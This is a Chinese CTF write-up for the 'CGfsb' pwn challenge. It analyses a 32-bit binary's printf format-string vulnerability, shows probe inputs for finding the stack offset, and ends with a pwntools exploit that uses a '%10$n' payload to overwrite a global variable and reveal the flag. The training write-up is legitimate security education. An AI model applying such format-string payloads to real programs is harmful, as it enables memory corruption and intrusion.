攻防世界PWN题 CGfsb
拿到题目后,首先用 file 查看文件类型,可以发现是 ELF 32-bit 类型的文件
接下来使用 checksec 来查看文件开启了哪些保护,可得到如下内容:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
执行一下来看效果,发现其基本流程如下
please tell me your name:
<输入名>
leave your message please:
<输入信息>
hello <输入的名字>
your message is:
<输入的信息>
Thank you!
放到 ida 里反汇编得到如下结果
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
简单来分析一下,可得到如下结论:
- buf, v5, v6 三个变量构成的 10 个字节空间被用来储存用户输入的名字,程序利用
read(0, &buf, 0xAu);
语句来读取用户的输入,整个空间已经被初始化为 0 - s 数组具有 100 个字节的空间,用于储存用户输入的信息,程序利用
fgets(&s, 100, stdin);
语句来读取用户的输入,整个空间已经被初始化为 0 - v8 变量用于存储 canary ,前面通过 checksec 已经看到该 elf 文件开启了栈保护,这里即是用它来实现
- 用户需要通过某种手段将 pwnme 变量的值改成 8 ,通过查看可知该变量位于 bss 段中,默认值应该是 0
因为开启了 canary 以及 pwnme 不在栈中,同时在读取输入时又严格地控制了读取的最大数量,那么通过栈溢出攻击就不可行了;在仔细审查反汇编的代码后,可以发现在 23 行有 printf(&s);
这条语句,而 s 具有的空间高达 100 字节,同时通过前面的 checksec 检查可以看到该程序 未开启 FORTIFY 保护,因此基本可以判断该题属于 格式化字符串攻击 类型,利用 "%m$n" 占位符来将 8 写入 pwnme 所在的内存
让我们将 printf 的调用记作 printf(format, args...),下面的内容以此为基础展开
首先要拿到的是 format 在栈中的地址相当于 args 中的第几个参数的地址,观察 main 的汇编代码可以发现,printf 函数的参数均被压入栈中(据说 32 位 ELF 均是这样实现的调用,如果有不同的意见欢迎在下面评论交流~),那么这里提供三种方式来获得上面问题的结果:
- 在输入 message 时写入
AAAA,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x
后观察your message is:
下面的输出,寻找 41414141 相对于 AAAA 是第几个即可;原理在于 printf 目前仅根据 format 来输出而不会判断 args 中是否有对应的参数,那么可以连续写入输出占位符来将栈中的内容输出,这里以 16 进制输出内容,“AAAA” 的 ASCII 码的十六进制是 ”41414141“ ,所以只要查看它出现的位置即可获得上面问题的答案,当然为了避免栈中恰好存在 41414141 这种低概率的巧合,也可以多试几组数据 - 在上面的反汇编代码中可以看到
char s; // [esp+28h] [ebp-74h]
这条语句,用 28h/4 得到的内容即可;原理在于该程序将参数全部压栈,而通过汇编代码可以发现 [esp] 处被存放了 format ,那么 [esp+28h] 就是 s 相对于 format 所在的位置,而因为是 32 位的程序,所以每次处理 4 个字节的数据,这样在除以 4 后就得到了上面问题的答案 - 在 gdb 中对 <main+256> 处,即最后一个 printf 调用之前下断点,运行至该处后查看栈中内容,用 esp 内的值减掉 esp 所在的位置,得到的结果除以 4 即可;原理同第 2 种方法
执行后可以发现,上面问题的答案是第 10 个参数
由于程序没有开启 PIE ,那么我们可以直接在 ida 中找到 pwnme 的地址,或者用 pwntools 来拿到,从而构造 exp 如下
from pwn import *
r = remote(远程ip, 远程port)
elf = ELF(本地 elf 地址)
payload = p32(elf.symbols['pwnme'])+b"0000%10$n"
r.recv()
r.sendline('Yuren')
r.recv()
r.sendline(payload)
print(r.recv())
print(r.recv())
因为 p32 得到的 pwnme 的地址占据 4 个字节,所以我们只需要在 "%10$n" 前再填入 4 个字节的任意内容即可,这里因为空间够用以及数据量小就直接写出,其实也可以用 "%4x" 的形式,之前看其他题的 writeup 时有人用十进制形式(即 x 换成 d)输出,这其实是不推荐的,因为栈中的内容不确定,如果它恰好可以被解读为负数的话,实际输出的内容的长度就会因为负号的原因而+1,导致攻击失败